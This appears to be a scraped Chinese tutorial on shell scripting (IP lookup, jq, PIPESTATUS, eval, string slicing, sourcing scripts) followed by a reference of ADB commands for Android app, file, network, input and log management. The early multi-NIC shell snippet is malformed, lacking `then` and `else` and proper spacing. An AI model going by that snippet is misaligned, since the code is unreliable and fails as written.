xxx.sh:直接使用默认解析器解析。可以使用相对路径,也可以使用绝对路径. xxx.sh:直接使用默认解析器解析注意:.(点)和文件名直接有一个空格拓展获取本机ip地址脚本命令方法一:ip addr多网卡情况也是返回第一个IPip addr | awk '/^[0-9]+: / {}; /inet.*global/ {print gensub(/(.*)\/(.*)/, "\\1", "g", $2)}' | sed -n '1p'shell方法二:ifconfig -aifconfig -a | grep inet | grep -v 127.0.0.1 | grep -v inet6 | awk '{print $2}' | tr -d "addr:" # 命令解析 - ifconfig -a      和window下执行此命令一样道理,返回本机所有ip信息 - grep inet   截取包含ip的行 - grep -v 127.0.0.1 去掉本地指向的那行 - grep -v inet6 去掉包含inet6的行 - awk { print $2} $2 表示默认以空格分割的第二组 同理 $1表示第一组 - tr -d "addr: 删除"addr:"这个字符串多网卡情况倘若有多个网卡,可能会出现多个不同网段的IP,这个时候如果还是执行上述命令就会返回多个IP,如下:假设某个机器有192...8和10...*网段的IP,现在要实现不同网段的IP地址打印不同的输出,shell脚本如下#!/bin/sh ip=`ifconfig -a|grep inet|grep -v 127.0.0.1|grep -v inet6|awk '{print $2}'|tr -d "addr:"​` echo $ip if[[ $ip =="10."*]] echo "该网段是10.*.*.*网段" echo "该网段是192.*.*.*网段" fijq命令:操作 JSON参考:https://www.cnblogs.com/kumufengchun/p/10799888.htmljq命令允许直接在命令行下对JSON进行操作,包括分片、过滤、转换等 jq是用C编写。jq的预编译的二进制文件可以直接在Linux、OS X和windows系统上运行,在linux系统中可以直接用yum安装。准备json串:kumufengchun.json{ "name":"kumufengchun", "age":"18", "city":"beijing", "email":"kumufengchun@gmail.com", "date":"Thursday", "country":"China", "company":["baidu","google","alibaba"] }准备json串:[ "name":"JSON", "good":true "name":"XML", "good":false ]jq基本使用# 用jq .直接查看json文件内容 # 方式1 jq . kumufengchun.json # 方式2 cat kumufengchun.json | jq . # 输出某个字段或者某个索引的值 # 语法: jq '.<key>' # 这里key是字段名称 jq .name kumufengchun.json # 输出:"kumufengchun" # 使用 -r 参数,不含双引号输出结果 jq -r .name kumufengchun.json # 输出: kumufengchun # 输出数组的值 # 语法: jq '.<key>[<value>]' # 这里value是数组的索引整数值 jq '.company[0]' kumufengchun.json # 输出列表、数组的一部分,对其进行切片 # 语法: jq '.<list-key>[s:e]' # 返回的是数组或者列表的index从s开始(包括s)到e结束(不包括e) jq '.company[0:2]' kumufengchun.json # 也可以省略开始的index,只有结束的index,如下,仍然是不包括结束index的值 jq '.company[:3]' kumufengchun.json # 也可以省略结束的index,只有开始的index,如下,输出到最后 jq '.company[1:]' kumufengchun.json # 开始的索引也可以是负数,表示从后边倒着数,从-1开始数 jq '.company[-2:]' kumufengchun.json # 循环输出所有的值,如数组嵌套 # 语法: jq '.[]' jq '.[]' test.json # 输出多个索引的值,可以用逗号分割 # 语法: jq '.key1,.key2' jq '.name,.age' kumufengchun.json # 如果是数组,用中括号括起来要输出的键值,键值先写谁,先输出谁 jq '.company[2,0]' kumufengchun.json # 用管道符号|可以对其进行再次处理 # 语法: jq .[] | .<key1> jq '.[]|.name' test.json # 括号的作用 echo 1 | jq '(.+2)*5' # 输出: echo {1,2,3} | jq '(.+2)*5' # 输出: # length求长度,如果是字符串是求的字符串的长度,如果是数组则求得是数组的长度 cat kumufengchun.json | jq '.[] | length' # 输出所有的keys # 语法: jq keys cat kumufengchun.json | jq 'keys' # 输出数组的keys(索引) cat kumufengchun.json | jq '.company | keys' # 判断存不存在某个键 cat kumufengchun.json | jq 'has("email")' # 输出: true获取 tee 前一个命令返回值管道中的命令,使用 $? 只能获取管道中最后一条命令的返回值PIPESTATUS[n],获取管道中第n个命令的返回值示例:cp abc def 2>&1 | tee a.log # ${PIPESTATUS[0]} 获取的是 cp 命令的返回值 test ${PIPESTATUS[0]} -ne 0 && exiteval:对变量进行两次扫描用法1:执行含有字符串的命令#!/bin/bash cmd="echo aaa" echo $cmd # 输出字符串:echo aaa eval $cmd # 输出字符串命令的执行结果:aaa用法2:创建指向变量的指针a="1111" b="a" eval echo \$$b # 输出:1111 # 注:Shell 在第1轮扫描该命令行时,反斜杠使紧跟其后的 $ 被转义,即用 $ 符号本身。第一轮扫描后,它的命令变为 echo $a给值存入变量中# 一个两列键值的文件 cat aaa.txt # 输出: # name zhangsan # age 20文件中的第一列成为变量名,第二列成为该变量的值while read NAME VALUE do eval $NAME=$VALUE done < aaa.txt echo $name # 输出:zhangsan字符串截取var=http://www.aaa.com/123.htm # 1. # 号截取,删除左边字符,保留右边字符 echo ${var#*//} # 其中 var 是变量名,# 号是运算符,*// 表示从左边开始删除第一个 // 号及左边的所有字符 # 即删除 http:// # 结果是 :www.aaa.com/123.htm # 2. ## 号截取,删除左边字符,保留右边字符。 echo ${var##*/} # ##*/ 表示从左边开始删除最后(最右边)一个 / 号及左边的所有字符 # 即删除 http://www.aaa.com/ # 结果是 123.htm # 3. %号截取,删除右边字符,保留左边字符 echo ${var%/*} # %/* 表示从右边开始,删除第一个 / 号及右边的字符 # 结果是:http://www.aaa.com # 4. %% 号截取,删除右边字符,保留左边字符 echo ${var%%/*} # %%/* 表示从右边开始,删除最后(最左边)一个 / 号及右边的字符 # 结果是:http: # 5. 从左边第几个字符开始,及字符的个数 echo ${var:0:5} # 其中的 0 表示左边第一个字符开始,5 表示字符的总个数。 # 结果是:http: # 6. 从左边第几个字符开始,一直到结束。 echo ${var:7} # 其中的 7 表示左边第8个字符开始,一直到结束。 # 结果是 :www.aaa.com/123.htm # 7. 从右边第几个字符开始,及字符的个数 echo ${var:0-7:3} # 其中的 0-7 表示右边算起第七个字符开始,3 表示字符的个数。 # 结果是:123 # 8. 从右边第几个字符开始,一直到结束 echo ${var:0-7} # 表示从右边第七个字符开始,一直到结束。 # 结果是:123.htm # 注:(左边的第一个字符是用 0 表示,右边的第一个字符用 0-1 表示)父脚本捕捉子脚本(子进程)的中止exit 0:正常运行程序并退出程序;exit 1:非正常运行导致退出程序;exit 后面数值大于0,均为非正常退出子脚本手动进行中止操作#!/bin/bash # 子脚本 echo aaa && exit 1父脚本通过 $?(有 tee 命令时,使用${PIPESTATUS[0]}`)命令获取子脚本的返回值Shell脚本加载另一个脚本#!/bin/bash # 方式1:source # 注意:被加载的脚本,不能缺省路径 source ./first.sh # 方式2:点号(.) # 注意:1.被加载的脚本,不能缺省路径。2.点号与脚本文件之间记得要有空格 . ./first.sh使用source命令和点号(.)是等价的,类似于C/C++中的#include预处理指令,都是将指定的脚本内容加载至当前的脚本中,由一个Shell进程来执行。使用sh命令来调用另外的脚本,会开启新的Shell进程来执行指定的脚本,父进程中的变量在子进程中无法被访问到。启用子shell线程子shell在linux脚本中使用()实现,即在()中的代码会在子shell中执行
ADB 操作命令及用法
ADB 操作命令及用法一、ADB是什么?adb 称之为:Android 调试桥 (Android Debug Bridge )是一种允许模拟器或已连接的 Android 设备进行通信的命令行工具,可为各种设备操作提供便利,如安装和调试应用,并提供对 Unix shell(可用来在模拟器或连接的设备上运行各种命令)的访问。可以在Android SDK/platform-tools中找到 adb 工具或下载 ADB Kits 。注意: 有部分命令的支持情况可能与 Android 系统版本及定制 ROM 的实现有关。二、ADB有什么作用?ADB 是 Android SDK 里的一个工具, 用这个工具可以直接操作管理Android模拟器或者真实的Android设备。主要功能有:在设备上运行Shell命令;将本地APK软件安装至模拟器或Android设备;管理设备或手机模拟器上的预定端口;在设备或手机模拟器上复制或粘贴文件。ADB 是一个客户端-服务器程序程序,包括三个组件:客户端:该组件发送命令。客户端在开发计算机上运行。可以通过发出 adb 命令从命令行终端调用客户端。后台程序:该组件在设备上运行命令。后台程序在每个模拟器或设备实例上作为后台进程运行。服务器:该组件管理客户端和后台程序之间的通信。服务器在开发计算机上作为后台进程运行。三、ADB命令语法adb 命令的基本语法如下:adb [-d|-e|-s <serial-number>] <command>单一设备/模拟器连接若仅一个设备/模拟器连接时,可以省略掉 [-d|-e|-s <serial-number>] 这一部分,直接使用 adb <command>。多个设备/模拟器连接若有多个设备/模拟器连接,则需要为命令指定目标设备,下表是指定目标设备的命令选项:参数含义-d指定当前唯一通过 USB 连接的 Android 设备为命令目标-e指定当前唯一运行的模拟器为命令目标-s <serial-number>指定相应设备序列号的设备/模拟器为命令目标在多个设备/模拟器连接的情况下较常用的是 -s <serial-number> 参数,serial-number是指设备的设备序列号,可以通过 adb devices 命令获取。4.1 基本命令4.1.1 查看adb的版本信息adb version4.1.2 启动adbadb start-server一般无需手动执行此命令,在运行 adb 命令时若发现 adb server 没有启动会自动调起。4.1.3 停止adbadb kill-server4.1.4 以 root 权限运行 adbdadb root4.1.5 指定 adb server 的网络端口adb -P <port> start-server注意:ADB的默认端口为 5037。4.1.5 查询已连接的设备/模拟器列表adb devices4.2 应用管理4.2.1 查看应用列表查看应用列表的基本命令格式是:adb shell pm list packages [-f] [-d] [-e] [-s] [-3] [-i] [-u] [--user USER_ID] [FILTER]adb shell pm list packages 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数显示列表无所有应用-f显示应用关联的 apk 文件-d仅显示 disabled 的应用-e仅显示 enabled 的应用-s仅显示系统应用-3仅显示第三方应用-i显示应用的 installer-u包含已卸载应用<filter>包名包含 <filter> 字符串4.2.1.1 查看所有应用adb shell pm list packages4.2.1.2 查看系统应用adb shell pm list packages -s4.2.1.3 查看第三方应用adb shell pm list packages -34.2.1.4 查看已禁用应用adb shell pm list packages -d4.2.1.5 查看已启用应用adb shell pm list packages -e4.2.1.6 查看应用及其安装信息(安装来源)adb shell pm list packages -i4.2.1.7 查看应用及其未安装信息(安装来源)adb shell pm list packages -u4.2.1.8 查看应用及其相关联的文件adb shell pm list packages -f4.2.1.9 包名包含某字符串的应用比如要查看包名包含字符串 <package> 的应用列表,命令:adb shell pm list packages <package>4.2.2 安装应用安装应用的基本命令格式是:adb install [-l] [-r] [-t] [-s] [-d] [-g] <apk-file>adb install 后面可以跟一些可选参数来控制安装 APK 的行为,可用参数及含义如下:参数含义-l将应用安装到保护目录 /mnt/asec-r允许覆盖安装-t允许安装 AndroidManifest.xml 里 application 指定 android:testOnly="true" 的应用-s将应用安装到 sdcard-d允许降级覆盖安装-g授予所有运行时权限运行命令后可以看到输出内容,包含安装进度和状态,安装状态如下:Success:代表安装成功。Failure:代表安装失败。 APK 安装失败的情况有很多,Failure状态之后有安装失败输出代码。常见安装失败输出代码、含义及可能的解决办法如下:输出代码含义解决办法INSTALL_FAILED_ALREADY_EXISTS应用已经存在,或卸载了但没卸载干净adb install 时使用 -r 参数,或者先 adb uninstall <packagename> 再安装INSTALL_FAILED_INVALID_APK无效的 APK 文件INSTALL_FAILED_INVALID_URI无效的 APK 文件名确保 APK 文件名里无中文INSTALL_FAILED_INSUFFICIENT_STORAGE空间不足清理空间INSTALL_FAILED_DUPLICATE_PACKAGE已经存在同名程序INSTALL_FAILED_NO_SHARED_USER请求的共享用户不存在INSTALL_FAILED_UPDATE_INCOMPATIBLE以前安装过同名应用,但卸载时数据没有移除;或者已安装该应用,但签名不一致先 adb uninstall <packagename> 再安装INSTALL_FAILED_SHARED_USER_INCOMPATIBLE请求的共享用户存在但签名不一致INSTALL_FAILED_MISSING_SHARED_LIBRARY安装包使用了设备上不可用的共享库INSTALL_FAILED_REPLACE_COULDNT_DELETE替换时无法删除INSTALL_FAILED_DEXOPTdex 优化验证失败或空间不足INSTALL_FAILED_OLDER_SDK设备系统版本低于应用要求INSTALL_FAILED_CONFLICTING_PROVIDER设备里已经存在与应用里同名的 content providerINSTALL_FAILED_NEWER_SDK设备系统版本高于应用要求INSTALL_FAILED_TEST_ONLY应用是 test-only 的,但安装时没有指定 -t 参数INSTALL_FAILED_CPU_ABI_INCOMPATIBLE包含不兼容设备 CPU 应用程序二进制接口的 native codeINSTALL_FAILED_MISSING_FEATURE应用使用了设备不可用的功能INSTALL_FAILED_CONTAINER_ERROR1. sdcard 访问失败;2. 应用签名与 ROM 签名一致,被当作内置应用。1. 确认 sdcard 可用,或者安装到内置存储;2. 打包时不与 ROM 使用相同签名。INSTALL_FAILED_INVALID_INSTALL_LOCATION1. 不能安装到指定位置;2. 应用签名与 ROM 签名一致,被当作内置应用。1. 切换安装位置,添加或删除 -s 参数;2. 打包时不与 ROM 使用相同签名。INSTALL_FAILED_MEDIA_UNAVAILABLE安装位置不可用一般为 sdcard,确认 sdcard 可用或安装到内置存储INSTALL_FAILED_VERIFICATION_TIMEOUT验证安装包超时INSTALL_FAILED_VERIFICATION_FAILURE验证安装包失败INSTALL_FAILED_PACKAGE_CHANGED应用与调用程序期望的不一致INSTALL_FAILED_UID_CHANGED以前安装过该应用,与本次分配的 UID 不一致清除以前安装过的残留文件INSTALL_FAILED_VERSION_DOWNGRADE已经安装了该应用更高版本使用 -d 参数INSTALL_FAILED_PERMISSION_MODEL_DOWNGRADE已安装 target SDK 支持运行时权限的同名应用,要安装的版本不支持运行时权限INSTALL_PARSE_FAILED_NOT_APK指定路径不是文件,或不是以 .apk 结尾INSTALL_PARSE_FAILED_BAD_MANIFEST无法解析的 AndroidManifest.xml 文件INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION解析器遇到异常INSTALL_PARSE_FAILED_NO_CERTIFICATES安装包没有签名INSTALL_PARSE_FAILED_INCONSISTENT_CERTIFICATES已安装该应用,且签名与 APK 文件不一致先卸载设备上的该应用,再安装INSTALL_PARSE_FAILED_CERTIFICATE_ENCODING解析 APK 文件时遇到 CertificateEncodingExceptionINSTALL_PARSE_FAILED_BAD_PACKAGE_NAMEmanifest 文件里没有或者使用了无效的包名INSTALL_PARSE_FAILED_BAD_SHARED_USER_IDmanifest 文件里指定了无效的共享用户 IDINSTALL_PARSE_FAILED_MANIFEST_MALFORMED解析 manifest 文件时遇到结构性错误INSTALL_PARSE_FAILED_MANIFEST_EMPTY在 manifest 文件里找不到找可操作标签(instrumentation 或 application)INSTALL_FAILED_INTERNAL_ERROR因系统问题安装失败INSTALL_FAILED_USER_RESTRICTED用户被限制安装应用INSTALL_FAILED_DUPLICATE_PERMISSION应用尝试定义一个已经存在的权限名称INSTALL_FAILED_NO_MATCHING_ABIS应用包含设备的应用程序二进制接口不支持的 native codeINSTALL_CANCELED_BY_USER应用安装需要在设备上确认,但未操作设备或点了取消在设备上同意安装INSTALL_FAILED_ACWF_INCOMPATIBLE应用程序与设备不兼容INSTALL_FAILED_TEST_ONLYAPK 文件是使用 Android Studio 直接 RUN 编译出来的文件通过 Gradle 的 assembleDebug 或 assembleRelease 重新编译,或者 Generate Signed APKdoes not contain AndroidManifest.xml无效的 APK 文件is not a valid zip file无效的 APK 文件Offline设备未连接成功先将设备与 adb 连接成功unauthorized设备未授权允许调试error: device not found没有连接成功的设备先将设备与 adb 连接成功protocol failure设备已断开连接先将设备与 adb 连接成功Unknown option: -sAndroid 2.2 以下不支持安装到 sdcard不使用 -s 参数No space left on device空间不足清理空间Permission denied ... sdcard ...sdcard 不可用signatures do not match the previously installed version; ignoring!已安装该应用且签名不一致先卸载设备上的该应用,再安装参考:PackageManager.javaadb install 实际是分三步完成:push apk 文件到 /data/local/tmp。调用 pm install 安装。删除 /data/local/tmp 下的对应 apk 文件。4.2.3 卸载应用卸载应用的基本命令格式是:adb uninstall [-k] <package-name><package-name> 表示应用的包名,-k 参数可选,表示卸载应用但保留数据和缓存目录。4.2.4 清理应用数据与缓存adb shell pm clear <package-name><package-name> 表示应用名包,这条命令的效果相当于在设置里的应用信息界面点击了「清除缓存」和「清除数据」。4.2.5 查看前台 Activityadb shell dumpsys activity activities | grep mFocusedActivity4.2.6 查看正在运行的 Servicesadb shell dumpsys activity services [<package-name>]<package-name> 参数不是必须的,指定 <package-name> 表示查看与某个包名相关的 Services,不指定表示查看所有 Services。<package-name> 不一定要给出完整的包名,可以仅给一部分,那么所给包名相关的 Services 都会列出来。4.2.7 查看应用详细信息adb shell dumpsys package <package-name><package-name> 表示应用包名。运行次命令的输出中包含很多信息,包括 Activity Resolver Table、Registered ContentProviders、包名、userId、安装后的文件资源代码等路径、版本信息、权限信息和授予状态、签名版本信息等。4.2.7 查看应用安装路径adb shell pm path <package-name>4.3 与应用交互与应用交互主要是使用 am <command> 命令,常用的 <command> 如下:command用途start [options] <intent>启动 <intent> 指定的 Activitystartservice [options] <intent>启动 <intent> 指定的 Servicebroadcast [options] <intent>发送 <intent> 指定的广播force-stop <package-name>停止 <package-name> 相关的进程<intent> 参数很灵活,和写 Android 程序时代码里的 Intent 相对应。用于决定 intent 对象的选项如下:参数含义-a <action>指定 action,比如 android.intent.action.VIEW-c <category>指定 category,比如 android.intent.category.APP_CONTACTS-n <component>指定完整 component 名,用于明确指定启动哪个 Activity<intent> 里还能带数据,就像写代码时的 Bundle 一样:参数含义--esn <extra-key>null 值(仅 key 名)`-e\--es `--ez <extra-key> <extra-boolean-value>boolean 值--ei <extra-key> <extra-int-value>integer 值--el <extra-key> <extra-long-value>long 值--ef <extra-key> <extra-float-value>float 值--eu <extra-key> <extra-uri-value>URI--ecn <extra-key> <extra-component-name-value>component name--eia <extra-key> <extra-int-value>[,<extra-int-value...]integer 数组--ela <extra-key> <extra-long-value>[,<extra-long-value...]long 数组4.3.1 启动应用/ 调起 Activityadb shell am start [options] <intent>例如:adb shell am start -a android.settings.SETTINGS # 打开系统设置页面 adb shell am start -a android.intent.action.DIAL -d tel:10086 # 打开拨号页面 adb shell am start -n com.android.mms/.ui.ConversationList # 打开短信会话列表options 是一些改变其行为的选项,支持的可选参数及含义如下:选项含义-D启用调试-W等待启动完成--start-profiler file启动分析器并将结果发送到 file-P file类似于 --start-profiler,但当应用进入空闲状态时分析停止-R count重复 Activity 启动次数-S启动 Activity 前强行停止目标应用--opengl-trace启用 OpenGL 函数的跟踪--user user_id \current4.3.2 调起 Serviceadb shell am startservice [options] <intent>一个典型的用例是,若设备上原本应该显示虚拟按键但是没有显示,可以试试这个:adb shell am startservice -n com.android.systemui/.SystemUIService4.3.3 停止 Serviceadb shell am stopservice [options] <intent>4.3.4 强制停止应用adb shell am force-stop <packagename>4.4 文件管理4.4.1 从模拟器/设备下载指定的文件到计算机从模拟器/设备下载指定的文件到计算机的基本命令格式是:adb pull <remote> [local]参数说明:remote: 模拟器/设备里的文件路径local:计算机上的目录,参数可以省略,默认复制到当前目录例如,将 /sdcard/<package>.apk 下载到当前目录:adb pull /sdcard/<package>.apk将 /sdcard/<package>.apk 下载到相应目录(目录需存在):adb pull /sdcard/<package>.apk D:\Download提示:该操作可结合上文所描述的查看应用安装路径的操作以达到导出相应的应用软件的目的。4.4.2 将指定的文件从计算机上传到模拟器/设备将指定的文件从计算机上传到模拟器/设备的基本命令格式是:adb push <local> <remote>参数说明:local:计算机上的文件路径remote: 模拟器/设备里的目录例如,将 D:\Download\下载到设备的/sdcard/music/目录:adb push D:\Download\ /sdcard/music/4.4.4 列出指定目录的内容列出模拟器/设备上指定目录的内容的基本命令格式是:adb shell ls [options] <directory><directory> 表示指定目录,可以省略,表示列出根目录下的所有文件和目录。 adb shell ls 后面可以跟一些可选参数进行过滤查看不同的列表,可用参数及含义如下:参数显示列表无列出目录下的所有文件和目录-a列出目录下的所有文件(包括隐藏的)-i列出目录下的所有文件和索引编号-s列出目录下的所有文件和文件大小-n列出目录下的所有文件及其 UID和 GID-R列出目录下的所有子目录中的文件4.4.5 切换到目标目录adb shell cd <directory>第一步:执行adb shell命令;第二步:执行cd <directory>命令切换到目标目录。4.4.6 删除文件或目录adb shell rm [options] <files or directory>第一步:执行adb shell命令;第二步:执行rm [options] <files or directory>命令删除文件或目录。rm 后面可以跟一些可选参数进行不同的操作,可用参数及含义如下:参数含义无删除文件-f强制删除文件,系统不提示-r强制删除指定目录中的所有文件和子目录-d删除指定目录,即使它是一个非空目录-i交互式删除,删除前提示rm -d 等同于 rmdir 命令,有些版本不包含-d 参数。4.4.7 创建目录adb shell mkdir [options] <directory-name>第一步:执行adb shell命令;第二步:执行mkdir [options] <directory-name>命令创建目录。 mkdir 后面可以跟一些可选参数进行不同的操作,可用参数及含义如下:参数含义无创建指定目录-m创建指定目录并赋予读写权限-p创建指定目录及其父目录4.4.8 创建空文件或改变文件时间戳adb shell touch [options] <file>第一步:执行adb shell命令;第二步:执行touch [options] <file>命令创建空文件或改变文件时间戳。可通过ls -n <directory> 命令查看文件的时间。4.4.9 输出当前目录路径adb shell pwd第一步:执行adb shell命令;第二步:执行pwd命令输出当前目录路径。4.4.10 复制文件和目录adb shell cp [options] <source> <dest>第一步:执行adb shell命令;第二步:执行cp [options] <source> <dest>命令复制文件和目录。参数说明:source:源文件路径dest: 目标文件路径4.4.11 移动或重命名文件adb shell mv [options] <source> <dest>第一步:执行adb shell命令;第二步:执行mv [options] <source> <dest>命令移动或重命名文件。参数说明:source:源文件路径dest: 目标文件路径4.5 网络管理4.5.1 查看网络统计信息adb shell netstat也可以将网络统计信息输出到指定文件:adb shell netstat > <file-path>例如,可以通过 adb shell netstat > D:\netstat.log 将日志输出到 D:\netstat.log 中。4.5.2 测试两个网络间的连接和延迟ping 命令的格式如下:adb shell ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination例如,ping一个域名:adb shell ping <域名>不结束的话会一直ping下去,可以按 Ctrl + C 停止ping操作。也可以指定ping的次数:adb shell ping -c 4 <域名>4.5.3 通过配置文件配置和管理网络连接netcfg 命令的格式如下:adb shell netcfg [<interface> {dhcp|up|down}]输出示例:rmnet_ims10 DOWN 0.0.0.0/0 0x00001002 rmnet_ims00 DOWN 0.0.0.0/0 0x00001002 rmnet_tun04 DOWN 0.0.0.0/0 0x00001002 rmnet_tun03 DOWN 0.0.0.0/0 0x00001002 rmnet_tun02 DOWN 0.0.0.0/0 0x00001002 rmnet_tun01 DOWN 0.0.0.0/0 0x00001002 rmnet_tun00 DOWN 0.0.0.0/0 0x00001002 rmnet_tun14 DOWN 0.0.0.0/0 0x00001002 rmnet_tun13 DOWN 0.0.0.0/0 0x00001002 rmnet_tun12 DOWN 0.0.0.0/0 0x00001002 rmnet_tun11 DOWN 0.0.0.0/0 0x00001002 rmnet_tun10 DOWN 0.0.0.0/0 0x00001002 rmnet1 DOWN 0.0.0.0/0 0x00001002 rmnet0 DOWN 0.0.0.0/0 0x00001002 rmnet4 DOWN 0.0.0.0/0 0x00001002 rmnet3 DOWN 0.0.0.0/0 0x00001002 rmnet2 DOWN 0.0.0.0/0 0x00001002 rmnet6 DOWN 0.0.0.0/0 0x00001002 rmnet5 DOWN 0.0.0.0/0 0x00001002 dummy0 UP 0.0.0.0/0 0x000000c3 rmnet_r_ims10 DOWN 0.0.0.0/0 0x00001002 rmnet_r_ims00 DOWN 0.0.0.0/0 0x00001002 rmnet_emc0 DOWN 0.0.0.0/0 0x00001002 lo UP 127.0.0.1/8 0x00000049 sit0 DOWN 0.0.0.0/0 0x00000080 wlan0 UP 10.0.38.176/23 0x00001043 复制代码4.5.4 显示、操作路由、设备、策略路由和隧道ip 命令的格式如下:adb shell ip [ options ] objectoptions := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |-f[amily] { inet | inet6 | ipx | dnet | link } |-l[oops] { maximum-addr-flush-attempts } |-o[neline] | -t[imestamp] | -b[atch] [filename] |-rc[vbuf] [size]}object := { link | addr | addrlabel | route | rule | neigh | ntable |tunnel | tuntap | maddr | mroute | mrule | monitor | xfrm |netns | l2tp }options 是一些修改ip行为或者改变其输出的选项。所有的选项都是以-字符开头,分为长、短两种形式,支持的可选参数及含义如下:选项含义-V,-Version打印ip的版本并退出-s,-stats,-statistics输出更为详尽的信息(若这个选项出现两次或者多次,输出的信息将更为详尽)-f,-family强调使用的协议种类(包括:inet、inet6或者link)-4是-family inet的简写-6是-family inet6的简写-0是-family link的简写-o,-oneline对每行记录都使用单行输出,回行用字符代替-r,-resolve查询域名解析系统,用获得的主机名代替主机IP地址object 是要管理或者获取信息的对象。目前ip认识的对象包括:参数显示列表link网络设备address一个设备的协议(IP或者IPV6)地址neighbourARP或者NDISC缓冲区条目route路由表条目rule路由策略数据库中的规则maddress多播地址mroute多播路由缓冲区条目tuntap管理 TUN/TAP 设备netns管理网络空间例如,查看 WiFi IP 地址:adb shell ip -f inet addr show wlan04.6 模拟按键/输入在 adb shell 里有个很实用的命令叫 input,通过它可以做一些有趣的事情。可以执行adb shell input命令查看完整 help 信息如下:Usage: input [<source>] <command> [<arg>...] The sources are: keyboard mouse touchpad gamepad touchnavigation joystick touchscreen stylus trackball The commands and default sources are: text <string> (Default: touchscreen) keyevent [--longpress] <key code number or name> ... (Default: keyboard) tap <x> <y> (Default: touchscreen) swipe <x1> <y1> <x2> <y2> [duration(ms)] (Default: touchscreen) draganddrop <x1> <y1> <x2> <y2> [duration(ms)] (Default: touchscreen) press (Default: trackball) roll <dx> <dy> (Default: trackball)比如使用 adb shell input keyevent <keycode> 命令,不同的 keycode 能实现不同的功能,完整的 keycode 列表详见 KeyEvent,摘引部分觉得有意思的如下:keycode含义3HOME 键4返回键5打开拨号应用6挂断电话24增加音量25降低音量26电源键27拍照(需要在相机应用里)64打开浏览器82菜单键85播放/暂停86停止播放87播放下一首88播放上一首122移动光标到行首或列表顶部123移动光标到行末或列表底部126恢复播放127暂停播放164静音176打开系统设置187切换应用207打开联系人208打开日历209打开音乐210打开计算器220降低屏幕亮度221提高屏幕亮度223系统休眠224点亮屏幕231打开语音助手276若没有 wakelock 则让系统休眠下面是 input 命令的一些用法举例。4.6.1 电源键adb shell input keyevent 26执行效果相当于按电源键。4.6.2 菜单键adb shell input keyevent 824.6.3 HOME 键adb shell input keyevent 34.6.4 返回键adb shell input keyevent 44.6.5 音量控制增加音量:adb shell input keyevent 24降低音量:adb shell input keyevent 25静音:adb shell input keyevent 164.6.6 媒体控制播放/暂停:adb shell input keyevent 85停止播放:adb shell input keyevent 86播放下一首:adb shell input keyevent 87播放上一首:adb shell input keyevent 88恢复播放:adb shell input keyevent 126暂停播放:adb shell input keyevent 1274.6.7 点亮/熄灭屏幕点亮屏幕:adb shell input keyevent 224熄灭屏幕:adb shell input keyevent 2234.6.8 滑动解锁若锁屏没有密码,是通过滑动手势解锁,那么可以通过 input swipe 来解锁。命令(向上滑动手势解锁举例):adb shell input swipe 300 1000 300 500参数 300 1000 300 500 分别表示起始点x坐标 起始点y坐标 结束点x坐标 结束点y坐标。4.6.9 输入文本在焦点处于某文本框时,可以通过 input 命令来输入文本。adb shell input text hello4.7 日志打印Android 系统的日志分为两部分,底层的 Linux 内核日志输出到 /proc/kmsg,Android 的日志输出到 /dev/log。4.7.1 Android 日志查看 Android 设备系统属性的基本命令格式是:adb logcat [option] [filter-specs]若需要停止 logcat 日志打印,可以按 Ctrl + C 停止日志监控。4.7.1.1 按级别过滤日志按级别过滤日志的基本命令格式是:adb logcat [filter-specs]Android 的日志分为如下几个优先级(priority):级别含义*:V过滤仅显示 Verbose 及以上级别(优先级最低)*:D过滤仅显示 Debug 及以上级别*:I过滤仅显示 Info 及以上级别*:W过滤仅显示 Warning 及以上级别*:E过滤仅显示 Error 及以上级别*:F过滤仅显示 Fatal 及以上级别*:S过滤仅显示 Silent 及以上级别(优先级最高,什么也不输出)按某级别过滤日志则会将该级别及以上的日志输出。比如,命令:adb logcat *:W会将 Warning、Error、Fatal 和 Silent 日志输出。注意: 在 macOS 下需要给 *:W 这样以 * 作为 tag 的参数加双引号,如 adb logcat "*:W",不然会报错 no matches found: *:W。4.7.1.2 按 tag 和级别过滤日志按 tag 和级别过滤日志的基本命令格式是:adb logcat [tag:level] [tag:level] ...比如,命令:adb logcat ActivityManager:I MyApp:D *:S表示输出 tag ActivityManager 的 Info 以上级别日志,输出 tag MyApp 的 Debug 以上级别日志,及其它 tag 的 Silent 级别日志(即屏蔽其它 tag 日志)。4.7.1.3 将日志格式化输出可以用 adb logcat -v <format> 选项指定日志输出格式。日志支持按以下几种 <format>:参数显示格式brief<priority>/<tag>(<pid>): <message>process<priority>(<pid>) <message>tag<priority>/<tag>: <message>raw<message>time<datetime> <priority>/<tag>(<pid>): <message>threadtime<datetime> <pid> <tid> <priority> <tag>: <message>long[ <datetime> <pid>:<tid> <priority>/<tag> ] <message>日志格式默认为 brief,指定格式可与上面的过滤同时使用。比如:adb logcat -v long ActivityManager:I *:S4.7.1.3 清空已存在的日志adb logcat -c4.7.1.4 将日志显示在控制台adb logcat -d4.7.1.5 将日志输出到文件adb logcat -f <file-path>4.7.1.6 加载一个可使用的日志缓冲区供查看adb logcat -b <Buffer>Android log 输出量巨大,特别是通信系统的log,因此,Android把log输出到不同的缓冲区中,目前定义了四个log缓冲区:缓冲区含义Radio输出通信系统的 logSystem输出系统组件的 logEvent输出 event 模块的 logMain所有 java 层的 log 以及不属于上面3层的 log缓冲区主要给系统组件使用,一般的应用不需要关心,应用的log都输出到main缓冲区中。默认log输出(不指定缓冲区的情况下)是输出System和Main缓冲区的log。4.7.1.7 打印指定日志缓冲区的大小adb logcat -g4.7.2 内核日志adb shell dmesg输出示例:<6>[14201.684016] PM: noirq resume of devices complete after 0.982 msecs <6>[14201.685525] PM: early resume of devices complete after 0.838 msecs <6>[14201.753642] PM: resume of devices complete after 68.106 msecs <4>[14201.755954] Restarting tasks ... done. <6>[14201.771229] PM: suspend exit 2016-08-28 13:31:32.679217193 UTC <6>[14201.872373] PM: suspend entry 2016-08-28 13:31:32.780363596 UTC <6>[14201.872498] PM: Syncing filesystems ... done. 复制代码中括号里的 [14201.684016] 代表内核开始启动后的时间,单位为秒。通过内核日志可以做一些事情,比如衡量内核启动时间,在系统启动完毕后的内核日志里找到 Freeing init memory 